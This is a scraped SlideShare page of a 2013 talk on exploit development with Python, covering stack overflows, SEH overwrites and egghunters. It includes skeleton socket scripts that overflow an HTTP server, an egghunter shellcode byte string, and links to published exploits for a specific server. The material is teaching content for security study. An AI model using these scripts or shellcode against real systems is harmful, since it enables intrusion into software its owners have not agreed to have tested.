SlideShare a Scribd company logo
EXPLOIT
DEVELOPMENT
WITH PYTHON
Tom Gregory
id:python Gathering
27 April 2013
AGENDA
 Memory
 Stack/Buffer Overflow
 Structured Exception Handler (SEH)
 Escape from small space
 Egghunter
 Demo
Args./Environment
Stack
Unused Memory
Heap (dynamic data)
Static Data .data
Program Code .text
PROCESS MEMORY LAYOUT
High addresses
Top of memory
0xFFFFFFFF
Low addresses
0x00000000
Stack grows down by
procedures call
Heap grows up e.g. by
malloc and new
STACK BUFFER OVERFLOW
#include <string.h>
void foo (char *bar)
{
char c[12];
strcpy(c, bar); // no bounds checking...
}
int main (int argc, char **argv)
{
foo(argv[1]);
}
STACK BUFFER OVERFLOW
Unallocated stack
char c[12]
char *bar
Saved frame
pointer
(EBP)
Return Address
(EIP)
Parent routine’s
stack
Memory addressStack growth
STACK BUFFER OVERFLOW
Unallocated stack
char c[12]
char *bar
Saved frame
pointer
(EBP)
Return Address
(EIP)
Parent routine’s
stack
Memory addressStack growth
h e l l
0o
STACK BUFFER OVERFLOW
Unallocated stack
Memory addressStack growth
A A A A
A A A A
A A A A
A A A A
A A A A
A A A A
A A A A
x08 x35 xc0 x80
Fill the stack with ‘A’
Overwritten return address
at 0x80c03508
Parent routine’s
stack
Little
Endian
0x80c03508
WHAT IS SEH?
This structure ( also called a SEH record) is 8 bytes and has 2 (4
bytes each) elements :
 a pointer to the next exception_registration structure (in essence,
to the next SEH record, in case the current handler is unable the
handle the exception)
 a pointer, the address of the actual code of the exception handler.
(SE Handler)
WHAT IS SEH?
Image was taken without permission from http://images.google.com
LOOK AT THE SEH STRUCTURE
Beginning of SEH chain
 SEH chain will be placed at the top of the main data block
 It also called FS:[0] chain as well (on intel: mov [reg], dword ptr
fs:[0])
End of seh chain
 Is indicated by 0xFFFFFFFF
 Will trigger improper termination to the program
HOW SEH WORKS?
Stack
TEB
FS[0]: 0012FF40 0012FF40
0012FF44
0012FFB0 : next SEH record
7C839AD8 : SE Handler
0012FFB0
0012FFB4
0012FFE0 : next SEH record
0040109A : SE Handler
0012FFE0
0012FFE4
FFFFFFFF : next SEH record
7C839AD8 : SE Handler
PROTECTIONS AGAINST SEH
XOR
 before the exception handler is called, all registers are XORed
with each other, so it will make them all point to 0x00000000
DEP & Stack Cookies
 Stack Cookies or Canary is setup via C++ compiler options
 DEP will mark the memory stack to no execute.
 It was introduced since Windows XP SP2 and Windows 2003,
enabled by default on Windows Vista and 7
 Those two protections can make it harder to build exploits.
PROTECTIONS AGAINST SEH
SafeSEH
 additional protection was added to compilers, helping to stop the
abuse of SEH overwrites.
 It will check the original value of SEH, if it overwritten, SafeSEH
will try to bring it back to the original value.
ABUSING SEH
On direct RET technique:
 Simply find an instruction to jump to the stack, done.
While on SEH Based:
 You cannot simply jump to the stack, because the registers are
XORed.
 We can take advantage this exception handling condition by
overwrite the SE Handler address.
 The OS will know the exception handling routine, and pass it to next
SEH record.
 Pointer to next SEH will bring us to the shellcode.
 Game over!
ABUSING SEH
In other words, the payload must do the following things:
 Cause an exception. Without an exception, the SEH handler (the
one you have overwritten/control) won’t kick in.
 Overwrite the pointer to the next SEH record with some jumpcode
(so it can jump to the shellcode)
 Overwrite the SE handler with a pointer to an instruction that will
bring you back to next SEH and execute the jumpcode.
 The shellcode should be directly after the overwritten SE Handler.
Some small jumpcode contained in the overwritten “pointer to
next SEH record” will jump to it).
ABUSING SEH
 When the exception occurred, the position on the stack will going like
this:
 Possible value to overwrite SE Handler are POP something, POP
something and RETN to the stack.
 It will POP address that sit at the top of the stack, POP it again to take
the second address, and RETN to execute the third address (which is
now at the top of the stack)
Top of stack
Our pointer to next SEH
address
ABUSING SEH
Image was taken from http://corelan.be
with permission from Peter van Eeckhoutte (Corelan)
ESCAPE FROM SMALL SPACE
 Use Egghunter
 “Staged shellcode”
 Use small amount of custom shellcode to find the actual “bigger”
shellcode (the egg), by searching entire memory for the final
shellcode
EGGHUNTER
 There are 3 conditions that are important in order for this
technique to work
 We must be able to jump to (jmp, call, push/ret) & execute “some” shellcode,
the egghunter.
 The final shellcode must be available somewhere in memory (stack/heap/…).
 You must “tag” or prepend the final shellcode with a unique string/marker/tag.
This means that we will have to define the marker in the egg hunter code, and
also write it just in front of the actual shellcode.
ENOUGH TALKING!
1ST SKELETON EXPLOIT: CRASH IT!
#!/usr/bin/python
from socket import *
junk = "x41" * 10000
s = socket(AF_INET, SOCK_STREAM)
s.connect((‘x.x.x.x’,8000))
print "[+] Launching attack..”
s.send ("GET /" + payload + "HTTP/1.0rnrnrn")
s.close()
2ND SKELETON EXPLOIT: EIP
OVERWRITE
#!/usr/bin/python
from socket import *
junk = [random data generated from msf]
s = socket(AF_INET, SOCK_STREAM)
s.connect((‘x.x.x.x’,8000))
print "[+] Launching attack..”
s.send ("GET /" + payload + "HTTP/1.0rnrnrn")
s.close()
3RD SKELETON EXPLOIT: SMALL
SPACE
 Egghunter
x66x81xcaxffx0fx42x52x6a
x02x58xcdx2ex3cx05x5ax74
xefxb8x77x30x30x74x8bxfa
xafx75xeaxafx75xe7xffxe7
4TH FINAL EXPLOIT
 Exploit DB
 http://www.exploit-db.com/exploits/19266/
 Metasploit
 http://www.exploit-db.com/exploits/19291/
 http://www.metasploit.com/modules/exploit/windows/http/ezserver_http
EOF
tom@spentera.com

More Related Content

PPTX
Network Security
PPTX
Malware Detection Approaches using Data Mining Techniques.pptx
PPT
Cyber security and safety
PPTX
Cyber Security Organizational Operating Model and Governance
PPTX
cyber security,need,security problem and types of cyber security
PPTX
Futuristic data mining technologies for cyber security
Network Security
Malware Detection Approaches using Data Mining Techniques.pptx
Cyber security and safety
Cyber Security Organizational Operating Model and Governance
cyber security,need,security problem and types of cyber security
Futuristic data mining technologies for cyber security

What's hot (10)

PPTX
Phishing Scams: 8 Helpful Tips to Keep You Safe
PPTX
Computer and internet fraud
PPTX
PPTX
Intrusion detection
PPTX
information security (network security methods)
PPTX
Cross Site Scripting ( XSS)
PDF
Spim Mips Simulator
DOCX
The Role of Information Security Policy
Phishing Scams: 8 Helpful Tips to Keep You Safe
Computer and internet fraud
Intrusion detection
information security (network security methods)
Cross Site Scripting ( XSS)
Spim Mips Simulator
The Role of Information Security Policy
Ad

Similar to Exploit Development with Python (20)

PPTX
Abusing SEH For Fun
PDF
Structured Exception Handler Exploitation
PPTX
Seh based exploitation
PDF
Riding the Overflow - Then and Now
PDF
From SEH Overwrite with Egg Hunter to Get a Shell!
PDF
From SEH Overwrite with Egg Hunter to Get a Shell_by_RodolphoConcurde
PDF
SEH overwrite and its exploitability
PDF
CNIT 127: Ch 8: Windows overflows (Part 1)
PDF
SEH based buffer overflow vulnerability exploitation
PDF
CNIT 127 Ch 8: Windows overflows (Part 1)
PDF
Low Level Exploits
PPTX
Seh based attack
PDF
Riding the Overflow - Then and Now
PDF
Smashing the Buffer
PDF
CyberLink LabelPrint 2.5 Exploitation Process
PPTX
Software to the slaughter
PPTX
Reversing malware analysis training part11 exploit development advanced
PDF
[ENG] Hacktivity 2013 - Alice in eXploitland
PDF
CNIT 127: Ch 8: Windows overflows (Part 2)
PPTX
Post-mortem Debugging of Windows Applications
Abusing SEH For Fun
Structured Exception Handler Exploitation
Seh based exploitation
Riding the Overflow - Then and Now
From SEH Overwrite with Egg Hunter to Get a Shell!
From SEH Overwrite with Egg Hunter to Get a Shell_by_RodolphoConcurde
SEH overwrite and its exploitability
CNIT 127: Ch 8: Windows overflows (Part 1)
SEH based buffer overflow vulnerability exploitation
CNIT 127 Ch 8: Windows overflows (Part 1)
Low Level Exploits
Seh based attack
Riding the Overflow - Then and Now
Smashing the Buffer
CyberLink LabelPrint 2.5 Exploitation Process
Software to the slaughter
Reversing malware analysis training part11 exploit development advanced
[ENG] Hacktivity 2013 - Alice in eXploitland
CNIT 127: Ch 8: Windows overflows (Part 2)
Post-mortem Debugging of Windows Applications
Ad

Recently uploaded (20)

PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
PDF
Unlocking AI with Model Context Protocol (MCP)
PPTX
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PDF
A comparative analysis of optical character recognition models for extracting...
PPTX
Big Data Technologies - Introduction.pptx
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
PDF
Machine learning based COVID-19 study performance prediction
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PDF
Review of recent advances in non-invasive hemoglobin estimation
PPTX
Cloud computing and distributed systems.
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PDF
Encapsulation_ Review paper, used for researhc scholars
PDF
Empathic Computing: Creating Shared Understanding
PDF
Approach and Philosophy of On baking technology
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PPTX
MYSQL Presentation for SQL database connectivity
PDF
gpt5_lecture_notes_comprehensive_20250812015547.pdf
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
Digital-Transformation-Roadmap-for-Companies.pptx
Unlocking AI with Model Context Protocol (MCP)
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
Chapter 3 Spatial Domain Image Processing.pdf
A comparative analysis of optical character recognition models for extracting...
Big Data Technologies - Introduction.pptx
Advanced methodologies resolving dimensionality complications for autism neur...
Machine learning based COVID-19 study performance prediction
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
Review of recent advances in non-invasive hemoglobin estimation
Cloud computing and distributed systems.
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
Encapsulation_ Review paper, used for researhc scholars
Empathic Computing: Creating Shared Understanding
Approach and Philosophy of On baking technology
Dropbox Q2 2025 Financial Results & Investor Presentation
The Rise and Fall of 3GPP – Time for a Sabbatical?
MYSQL Presentation for SQL database connectivity
gpt5_lecture_notes_comprehensive_20250812015547.pdf

Exploit Development with Python

  • 2. AGENDA  Memory  Stack/Buffer Overflow  Structured Exception Handler (SEH)  Escape from small space  Egghunter  Demo
  • 3. Args./Environment Stack Unused Memory Heap (dynamic data) Static Data .data Program Code .text PROCESS MEMORY LAYOUT High addresses Top of memory 0xFFFFFFFF Low addresses 0x00000000 Stack grows down by procedures call Heap grows up e.g. by malloc and new
  • 4. STACK BUFFER OVERFLOW #include <string.h> void foo (char *bar) { char c[12]; strcpy(c, bar); // no bounds checking... } int main (int argc, char **argv) { foo(argv[1]); }
  • 5. STACK BUFFER OVERFLOW Unallocated stack char c[12] char *bar Saved frame pointer (EBP) Return Address (EIP) Parent routine’s stack Memory addressStack growth
  • 6. STACK BUFFER OVERFLOW Unallocated stack char c[12] char *bar Saved frame pointer (EBP) Return Address (EIP) Parent routine’s stack Memory addressStack growth h e l l 0o
  • 7. STACK BUFFER OVERFLOW Unallocated stack Memory addressStack growth A A A A A A A A A A A A A A A A A A A A A A A A A A A A x08 x35 xc0 x80 Fill the stack with ‘A’ Overwritten return address at 0x80c03508 Parent routine’s stack Little Endian 0x80c03508
  • 8. WHAT IS SEH? This structure ( also called a SEH record) is 8 bytes and has 2 (4 bytes each) elements :  a pointer to the next exception_registration structure (in essence, to the next SEH record, in case the current handler is unable the handle the exception)  a pointer, the address of the actual code of the exception handler. (SE Handler)
  • 9. WHAT IS SEH? Image was taken without permission from http://images.google.com
  • 10. LOOK AT THE SEH STRUCTURE Beginning of SEH chain  SEH chain will be placed at the top of the main data block  It also called FS:[0] chain as well (on intel: mov [reg], dword ptr fs:[0]) End of seh chain  Is indicated by 0xFFFFFFFF  Will trigger improper termination to the program
  • 11. HOW SEH WORKS? Stack TEB FS[0]: 0012FF40 0012FF40 0012FF44 0012FFB0 : next SEH record 7C839AD8 : SE Handler 0012FFB0 0012FFB4 0012FFE0 : next SEH record 0040109A : SE Handler 0012FFE0 0012FFE4 FFFFFFFF : next SEH record 7C839AD8 : SE Handler
  • 12. PROTECTIONS AGAINST SEH XOR  before the exception handler is called, all registers are XORed with each other, so it will make them all point to 0x00000000 DEP & Stack Cookies  Stack Cookies or Canary is setup via C++ compiler options  DEP will mark the memory stack to no execute.  It was introduced since Windows XP SP2 and Windows 2003, enabled by default on Windows Vista and 7  Those two protections can make it harder to build exploits.
  • 13. PROTECTIONS AGAINST SEH SafeSEH  additional protection was added to compilers, helping to stop the abuse of SEH overwrites.  It will check the original value of SEH, if it overwritten, SafeSEH will try to bring it back to the original value.
  • 14. ABUSING SEH On direct RET technique:  Simply find an instruction to jump to the stack, done. While on SEH Based:  You cannot simply jump to the stack, because the registers are XORed.  We can take advantage this exception handling condition by overwrite the SE Handler address.  The OS will know the exception handling routine, and pass it to next SEH record.  Pointer to next SEH will bring us to the shellcode.  Game over!
  • 15. ABUSING SEH In other words, the payload must do the following things:  Cause an exception. Without an exception, the SEH handler (the one you have overwritten/control) won’t kick in.  Overwrite the pointer to the next SEH record with some jumpcode (so it can jump to the shellcode)  Overwrite the SE handler with a pointer to an instruction that will bring you back to next SEH and execute the jumpcode.  The shellcode should be directly after the overwritten SE Handler. Some small jumpcode contained in the overwritten “pointer to next SEH record” will jump to it).
  • 16. ABUSING SEH  When the exception occurred, the position on the stack will going like this:  Possible value to overwrite SE Handler are POP something, POP something and RETN to the stack.  It will POP address that sit at the top of the stack, POP it again to take the second address, and RETN to execute the third address (which is now at the top of the stack) Top of stack Our pointer to next SEH address
  • 17. ABUSING SEH Image was taken from http://corelan.be with permission from Peter van Eeckhoutte (Corelan)
  • 18. ESCAPE FROM SMALL SPACE  Use Egghunter  “Staged shellcode”  Use small amount of custom shellcode to find the actual “bigger” shellcode (the egg), by searching entire memory for the final shellcode
  • 19. EGGHUNTER  There are 3 conditions that are important in order for this technique to work  We must be able to jump to (jmp, call, push/ret) & execute “some” shellcode, the egghunter.  The final shellcode must be available somewhere in memory (stack/heap/…).  You must “tag” or prepend the final shellcode with a unique string/marker/tag. This means that we will have to define the marker in the egg hunter code, and also write it just in front of the actual shellcode.
  • 21. 1ST SKELETON EXPLOIT: CRASH IT! #!/usr/bin/python from socket import * junk = "x41" * 10000 s = socket(AF_INET, SOCK_STREAM) s.connect((‘x.x.x.x’,8000)) print "[+] Launching attack..” s.send ("GET /" + payload + "HTTP/1.0rnrnrn") s.close()
  • 22. 2ND SKELETON EXPLOIT: EIP OVERWRITE #!/usr/bin/python from socket import * junk = [random data generated from msf] s = socket(AF_INET, SOCK_STREAM) s.connect((‘x.x.x.x’,8000)) print "[+] Launching attack..” s.send ("GET /" + payload + "HTTP/1.0rnrnrn") s.close()
  • 23. 3RD SKELETON EXPLOIT: SMALL SPACE  Egghunter x66x81xcaxffx0fx42x52x6a x02x58xcdx2ex3cx05x5ax74 xefxb8x77x30x30x74x8bxfa xafx75xeaxafx75xe7xffxe7
  • 24. 4TH FINAL EXPLOIT  Exploit DB  http://www.exploit-db.com/exploits/19266/  Metasploit  http://www.exploit-db.com/exploits/19291/  http://www.metasploit.com/modules/exploit/windows/http/ezserver_http

Editor's Notes

  • #6: Stack is used for function calls There are 2 Registers on the CPU associated with stack, EBP and ESP. ESP points to the top of the stack, whereas EBP points to the beginning of the current frame When a function is called, arguments, EIP and EBP pushed onto stack EBP is set to ESP, and ESP is decremented to make space for the functions local variable